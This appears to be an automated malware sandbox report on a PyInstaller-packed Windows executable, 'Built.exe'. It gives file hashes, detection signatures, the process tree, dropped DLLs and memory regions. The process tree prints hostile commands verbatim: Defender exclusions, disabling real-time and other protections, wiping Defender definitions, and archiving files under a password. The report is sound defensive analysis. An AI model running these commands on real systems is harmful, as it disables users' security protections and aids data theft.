Analysis

  • max time kernel
    1s
  • max time network
    5s
  • platform
    windows11-21h2_x64
  • resource
    win11-20241007-en
  • resource tags

    arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    27-10-2024 22:20

General

  • Target

    Built.exe

  • Size

    6.9MB

  • MD5

    f608b4a977d9fbabd3b4f1fb94f5e8aa

  • SHA1

    fa99034e7994d2440df59617436a80c849ad3e41

  • SHA256

    9c9359b1e64af13be987bbe341c7016694a2cfd9aa8e9a3287f2ea334d53f4b6

  • SHA512

    14e6df90d1339d1f50280079144cab5a612860c1e12dddb5307e7579eeb0ccbe419889abe5bfcdd32622ab14869d4f8fe45e9e0ea859f8058a7c795b3d58eaeb

  • SSDEEP

    98304:NHDjWM8JEE1rTCamaHl3Ne4i3Tf2PkOpfW9hZMMoVmkzhxIdfXeRpYKJJcGhEIFW:NH0j7eNTfm/pf+xk4dWRptrbWOjgr5

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Loads dropped DLL 17 IoCs
  • UPX packed file 35 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Built.exe
    "C:\Users\Admin\AppData\Local\Temp\Built.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1628
    • C:\Users\Admin\AppData\Local\Temp\Built.exe
      "C:\Users\Admin\AppData\Local\Temp\Built.exe"
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:2352
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Built.exe'"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5048
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Built.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious use of AdjustPrivilegeToken
          PID:2808
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:956
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious use of AdjustPrivilegeToken
          PID:984
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI16282\rar.exe a -r -hp"blank123" "C:\Users\Admin\AppData\Local\Temp\cI6pK.zip" *"
        3⤵
          PID:8
          • C:\Users\Admin\AppData\Local\Temp\_MEI16282\rar.exe
            C:\Users\Admin\AppData\Local\Temp\_MEI16282\rar.exe a -r -hp"blank123" "C:\Users\Admin\AppData\Local\Temp\cI6pK.zip" *
            4⤵
              PID:4992

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

        Filesize

        2KB

        MD5

        5ba388a6597d5e09191c2c88d2fdf598

        SHA1

        13516f8ec5a99298f6952438055c39330feae5d8

        SHA256

        e6b6223094e8fc598ad12b3849e49f03a141ccd21e0eaa336f81791ad8443eca

        SHA512

        ead2a2b5a1c2fad70c1cf570b2c9bfcb7364dd9f257a834eb819e55b8fee78e3f191f93044f07d51c259ca77a90ee8530f9204cbae080fba1d5705e1209f5b19

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        944B

        MD5

        1a9fa92a4f2e2ec9e244d43a6a4f8fb9

        SHA1

        9910190edfaccece1dfcc1d92e357772f5dae8f7

        SHA256

        0ee052d5333fd5fd86bc84856fec98e045f077a7ac8051651bf7c521b9706888

        SHA512

        5d2361476fa22200e6f83883efe7dcb8c3fe7dae8d56e04e28a36e9ae1270c327b6aa161d92b239593da7661289d002c574446ecfd6bd19928209aae25e3ef64

      • C:\Users\Admin\AppData\Local\Temp\_MEI16282\VCRUNTIME140.dll

        Filesize

        96KB

        MD5

        f12681a472b9dd04a812e16096514974

        SHA1

        6fd102eb3e0b0e6eef08118d71f28702d1a9067c

        SHA256

        d66c3b47091ceb3f8d3cc165a43d285ae919211a0c0fcb74491ee574d8d464f8

        SHA512

        7d3accbf84de73fb0c5c0de812a9ed600d39cd7ed0f99527ca86a57ce63f48765a370e913e3a46ffc2ccd48ee07d823dafdd157710eef9e7cc1eb7505dc323a2

      • C:\Users\Admin\AppData\Local\Temp\_MEI16282\_bz2.pyd

        Filesize

        46KB

        MD5

        0c13627f114f346604b0e8cbc03baf29

        SHA1

        bf77611d924df2c80aabcc3f70520d78408587a2

        SHA256

        df1e666b55aae6ede59ef672d173bd0d64ef3e824a64918e081082b8626a5861

        SHA512

        c97fa0f0988581eae5194bd6111c1d9c0e5b1411bab47df5aa7c39aad69bfbeca383514d6aaa45439bb46eacf6552d7b7ed08876b5e6864c8507eaa0a72d4334

      • C:\Users\Admin\AppData\Local\Temp\_MEI16282\_ctypes.pyd

        Filesize

        57KB

        MD5

        38fb83bd4febed211bd25e19e1cae555

        SHA1

        4541df6b69d0d52687edb12a878ae2cd44f82db6

        SHA256

        cd31af70cbcfe81b01a75ebeb2de86079f4cbe767b75c3b5799ef8b9f0392d65

        SHA512

        f703b231b675c45accb1f05cd34319b5b3b7583d85bf2d54194f9e7c704fbcd82ef2a2cd286e6a50234f02c43616fbeccfd635aefd73424c1834f5dca52c0931

      • C:\Users\Admin\AppData\Local\Temp\_MEI16282\_decimal.pyd

        Filesize

        104KB

        MD5

        7ba541defe3739a888be466c999c9787

        SHA1

        ad0a4df9523eeeafc1e67b0e4e3d7a6cf9c4dfac

        SHA256

        f90efa10d90d940cde48aafe02c13a0fc0a1f0be7f3714856b7a1435f5decf29

        SHA512

        9194a527a17a505d049161935432fa25ba154e1aee6306dee9054071f249c891f0ca7839de3a21d09b57fdc3f29ee7c4f08237b0dfffafa8f0078cfe464bed3b

      • C:\Users\Admin\AppData\Local\Temp\_MEI16282\_hashlib.pyd

        Filesize

        33KB

        MD5

        596df8ada4b8bc4ae2c2e5bbb41a6c2e

        SHA1

        e814c2e2e874961a18d420c49d34b03c2b87d068

        SHA256

        54348cfbf95fd818d74014c16343d9134282d2cf238329eec2cda1e2591565ec

        SHA512

        e16aad5230e4af7437b19c3db373b1a0a0a84576b608b34430cced04ffc652c6fb5d8a1fe1d49ac623d8ae94c8735800c6b0a12c531dcdd012b05b5fd61dff2e

      • C:\Users\Admin\AppData\Local\Temp\_MEI16282\_lzma.pyd

        Filesize

        84KB

        MD5

        8d9e1bb65a192c8446155a723c23d4c5

        SHA1

        ea02b1bf175b7ef89ba092720b3daa0c11bef0f0

        SHA256

        1549fe64b710818950aa9bf45d43fe278ce59f3b87b3497d2106ff793efa6cf7

        SHA512

        4d67306fe8334f772fe9d463cb4f874a8b56d1a4ad3825cff53cae4e22fa3e1adba982f4ea24785312b73d84a52d224dfb4577c1132613aa3ae050a990e4abdf

      • C:\Users\Admin\AppData\Local\Temp\_MEI16282\_queue.pyd

        Filesize

        24KB

        MD5

        fbbbfbcdcf0a7c1611e27f4b3b71079e

        SHA1

        56888df9701f9faa86c03168adcd269192887b7b

        SHA256

        699c1f0f0387511ef543c0df7ef81a13a1cffde4ce4cd43a1baf47a893b99163

        SHA512

        0a5ba701653ce9755048ae7b0395a15fbb35509bef7c4b4fe7f11dc4934f3bd298bcddbf2a05b61f75f8eb44c4c41b3616f07f9944e0620b031cbe87a7443284

      • C:\Users\Admin\AppData\Local\Temp\_MEI16282\_socket.pyd

        Filesize

        41KB

        MD5

        4351d7086e5221398b5b78906f4e84ac

        SHA1

        ba515a14ec1b076a6a3eab900df57f4f37be104d

        SHA256

        a0fa25eef91825797f01754b7d7cf5106e355cf21322e926632f90af01280abe

        SHA512

        a1bcf51e797ccae58a0b4cfe83546e5e11f8fc011ca3568578c42e20bd7a367a5e1fa4237fb57aa84936eec635337e457a61a2a4d6eca3e90e6dde18ae808025

      • C:\Users\Admin\AppData\Local\Temp\_MEI16282\_sqlite3.pyd

        Filesize

        54KB

        MD5

        d678600c8af1eeeaa5d8c1d668190608

        SHA1

        080404040afc8b6e5206729dd2b9ee7cf2cb70bc

        SHA256

        d6960f4426c09a12488eb457e62506c49a58d62a1cb16fbc3ae66b260453c2ed

        SHA512

        8fd5f0fd5bd60c6531e1b4ad867f81da92d5d54674028755e5680fb6005e6444805003d55b6cbaf4cdad7b4b301cffab7b010229f6fd9d366405b8ade1af72d9

      • C:\Users\Admin\AppData\Local\Temp\_MEI16282\_ssl.pyd

        Filesize

        60KB

        MD5

        156b1fa2f11c73ed25f63ee20e6e4b26

        SHA1

        36189a5cde36d31664acbd530575a793fc311384

        SHA256

        a9b5f6c7a94fb6bfaf82024f906465ff39f9849e4a72a98a9b03fc07bf26da51

        SHA512

        a8181ffeb3cf8ef2a25357217a3dd05242cc0165473b024cf0aeb3f42e21e52c2550d227a1b83a6e5dab33a185d78e86e495e9634e4f4c5c4a1aec52c5457dca

      • C:\Users\Admin\AppData\Local\Temp\_MEI16282\base_library.zip

        Filesize

        1.4MB

        MD5

        83d235e1f5b0ee5b0282b5ab7244f6c4

        SHA1

        629a1ce71314d7abbce96674a1ddf9f38c4a5e9c

        SHA256

        db389a9e14bfac6ee5cce17d41f9637d3ff8b702cc74102db8643e78659670a0

        SHA512

        77364aff24cfc75ee32e50973b7d589b4a896d634305d965ecbc31a9e0097e270499dbec93126092eb11f3f1ad97692db6ca5927d3d02f3d053336d6267d7e5f

      • C:\Users\Admin\AppData\Local\Temp\_MEI16282\blank.aes

        Filesize

        125KB

        MD5

        229db85c038bef16bdcf123bcec4b765

        SHA1

        e5bd35d3f56e61b28345e5c3105b6f4a0dee30f7

        SHA256

        c674574c6861935589eb37b5aacbdea2adfe91a401e4917dc2e1285628d128e0

        SHA512

        2997a134d8574de4fcf17b72ca65f20e90837ac3eb353e4b3189138026b81cffebe40ad1bfee0ef5d40c5138e2c16494f37a25ec44ba69f3db2a201e61ad939e

      • C:\Users\Admin\AppData\Local\Temp\_MEI16282\libcrypto-1_1.dll

        Filesize

        1.1MB

        MD5

        daa2eed9dceafaef826557ff8a754204

        SHA1

        27d668af7015843104aa5c20ec6bbd30f673e901

        SHA256

        4dab915333d42f071fe466df5578fd98f38f9e0efa6d9355e9b4445ffa1ca914

        SHA512

        7044715550b7098277a015219688c7e7a481a60e4d29f5f6558b10c7ac29195c6d5377dc234da57d9def0c217bb3d7feca332a64d632ca105503849f15e057ea

      • C:\Users\Admin\AppData\Local\Temp\_MEI16282\libffi-8.dll

        Filesize

        24KB

        MD5

        90a6b0264a81bb8436419517c9c232fa

        SHA1

        17b1047158287eb6471416c5df262b50d6fe1aed

        SHA256

        5c4a0d4910987a38a3cd31eae5f1c909029f7762d1a5faf4a2e2a7e9b1abab79

        SHA512

        1988dd58d291ee04ebfec89836bb14fcaafb9d1d71a93e57bd06fe592feace96cdde6fcce46ff8747339659a9a44cdd6cf6ac57ff495d0c15375221bf9b1666e

      • C:\Users\Admin\AppData\Local\Temp\_MEI16282\libssl-1_1.dll

        Filesize

        203KB

        MD5

        eac369b3fde5c6e8955bd0b8e31d0830

        SHA1

        4bf77158c18fe3a290e44abd2ac1834675de66b4

        SHA256

        60771fb23ee37b4414d364e6477490324f142a907308a691f3dd88dc25e38d6c

        SHA512

        c51f05d26fda5e995fe6763877d4fcdb89cd92ef2d6ee997e49cc1ee7a77146669d26ec00ad76f940ef55adae82921dede42e55f51bd10d1283ecfe7c5009778

      • C:\Users\Admin\AppData\Local\Temp\_MEI16282\python311.dll

        Filesize

        1.6MB

        MD5

        bb46b85029b543b70276ad8e4c238799

        SHA1

        123bdcd9eebcac1ec0fd2764a37e5e5476bb0c1c

        SHA256

        72c24e1db1ba4df791720a93ca9502d77c3738eebf8b9092a5d82aa8d80121d0

        SHA512

        5e993617509c1cf434938d6a467eb0494e04580ad242535a04937f7c174d429da70a6e71792fc3de69e103ffc5d9de51d29001a4df528cfffefdaa2cef4eaf31

      • C:\Users\Admin\AppData\Local\Temp\_MEI16282\rar.exe

        Filesize

        615KB

        MD5

        9c223575ae5b9544bc3d69ac6364f75e

        SHA1

        8a1cb5ee02c742e937febc57609ac312247ba386

        SHA256

        90341ac8dcc9ec5f9efe89945a381eb701fe15c3196f594d9d9f0f67b4fc2213

        SHA512

        57663e2c07b56024aaae07515ee3a56b2f5068ebb2f2dc42be95d1224376c2458da21c965aab6ae54de780cb874c2fc9de83d9089abf4536de0f50faca582d09

      • C:\Users\Admin\AppData\Local\Temp\_MEI16282\rarreg.key

        Filesize

        456B

        MD5

        4531984cad7dacf24c086830068c4abe

        SHA1

        fa7c8c46677af01a83cf652ef30ba39b2aae14c3

        SHA256

        58209c8ab4191e834ffe2ecd003fd7a830d3650f0fd1355a74eb8a47c61d4211

        SHA512

        00056f471945d838ef2ce56d51c32967879fe54fcbf93a237ed85a98e27c5c8d2a39bc815b41c15caace2071edd0239d775a31d1794dc4dba49e7ecff1555122

      • C:\Users\Admin\AppData\Local\Temp\_MEI16282\select.pyd

        Filesize

        24KB

        MD5

        abf7864db4445bbbd491c8cff0410ae0

        SHA1

        4b0f3c5c7bf06c81a2c2c5693d37ef49f642a9b7

        SHA256

        ddeade367bc15ea09d42b2733d88f092da5e880362eabe98d574bc91e03de30e

        SHA512

        8f55084ee137416e9d61fe7de19e4cff25a4b752494e9b1d6f14089448ef93e15cd820f9457c6ce9268781bd08e3df41c5284801f03742bc5c40b3b81fb798c5

      • C:\Users\Admin\AppData\Local\Temp\_MEI16282\sqlite3.dll

        Filesize

        608KB

        MD5

        ddd0dd698865a11b0c5077f6dd44a9d7

        SHA1

        46cd75111d2654910f776052cc30b5e1fceb5aee

        SHA256

        a9dd0275131105df5611f31a9e6fbf27fd77d0a35d1a73a9f4941235fbc68bd7

        SHA512

        b2ee469ea5a6f49bbdd553363baa8ebad2baf13a658d0d0c167fde7b82eb77a417d519420db64f325d0224f133e3c5267df3aa56c11891d740d6742adf84dbe4

      • C:\Users\Admin\AppData\Local\Temp\_MEI16282\unicodedata.pyd

        Filesize

        293KB

        MD5

        bb3fca6f17c9510b6fb42101fe802e3c

        SHA1

        cb576f3dbb95dc5420d740fd6d7109ef2da8a99d

        SHA256

        5e2f1bbfe3743a81b00717011094798929a764f64037bedb7ea3d2ed6548eb87

        SHA512

        05171c867a5d373d4f6420136b6ac29fa846a85b30085f9d7fabcbb4d902afee00716dd52010ed90e97c18e6cb4e915f13f31a15b2d8507e3a6cfa80e513b6a2

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2rdxfs0i.3ef.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • memory/984-83-0x00000238254B0000-0x00000238254D2000-memory.dmp

        Filesize

        136KB

      • memory/2352-62-0x00007FFCDC980000-0x00007FFCDC999000-memory.dmp

        Filesize

        100KB

      • memory/2352-74-0x00007FFCDB650000-0x00007FFCDB674000-memory.dmp

        Filesize

        144KB

      • memory/2352-60-0x00007FFCD7010000-0x00007FFCD7183000-memory.dmp

        Filesize

        1.4MB

      • memory/2352-48-0x00007FFCE0C50000-0x00007FFCE0C5F000-memory.dmp

        Filesize

        60KB

      • memory/2352-64-0x00007FFCDB2F0000-0x00007FFCDB2FD000-memory.dmp

        Filesize

        52KB

      • memory/2352-66-0x00007FFCDA550000-0x00007FFCDA57E000-memory.dmp

        Filesize

        184KB

      • memory/2352-71-0x00007FFCD74B0000-0x00007FFCD7568000-memory.dmp

        Filesize

        736KB

      • memory/2352-70-0x00007FFCD3450000-0x00007FFCD3A38000-memory.dmp

        Filesize

        5.9MB

      • memory/2352-72-0x00007FFCD67C0000-0x00007FFCD6B35000-memory.dmp

        Filesize

        3.5MB

      • memory/2352-58-0x00007FFCDB5F0000-0x00007FFCDB613000-memory.dmp

        Filesize

        140KB

      • memory/2352-73-0x0000025460960000-0x0000025460CD5000-memory.dmp

        Filesize

        3.5MB

      • memory/2352-76-0x00007FFCDA530000-0x00007FFCDA544000-memory.dmp

        Filesize

        80KB

      • memory/2352-78-0x00007FFCDB620000-0x00007FFCDB64D000-memory.dmp

        Filesize

        180KB

      • memory/2352-79-0x00007FFCDA520000-0x00007FFCDA52D000-memory.dmp

        Filesize

        52KB

      • memory/2352-82-0x00007FFCC5DA0000-0x00007FFCC5EBC000-memory.dmp

        Filesize

        1.1MB

      • memory/2352-81-0x00007FFCDCA80000-0x00007FFCDCA99000-memory.dmp

        Filesize

        100KB

      • memory/2352-56-0x00007FFCDCA80000-0x00007FFCDCA99000-memory.dmp

        Filesize

        100KB

      • memory/2352-54-0x00007FFCDB620000-0x00007FFCDB64D000-memory.dmp

        Filesize

        180KB

      • memory/2352-30-0x00007FFCDB650000-0x00007FFCDB674000-memory.dmp

        Filesize

        144KB

      • memory/2352-25-0x00007FFCD3450000-0x00007FFCD3A38000-memory.dmp

        Filesize

        5.9MB